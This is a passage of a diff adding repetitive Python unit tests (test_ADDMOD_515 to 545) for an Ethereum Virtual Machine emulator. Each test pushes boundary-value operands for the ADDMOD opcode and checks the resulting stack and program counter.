+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_515(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_516(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_517(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_518(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_519(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_520(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_521(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_522(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_523(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_524(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_525(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_526(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_527(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [30L])
+
+    def test_ADDMOD_528(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_529(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_530(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_531(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_532(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_533(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_534(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_535(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_536(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_537(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_538(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_539(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_540(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_541(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_542(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_543(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_544(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_545(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
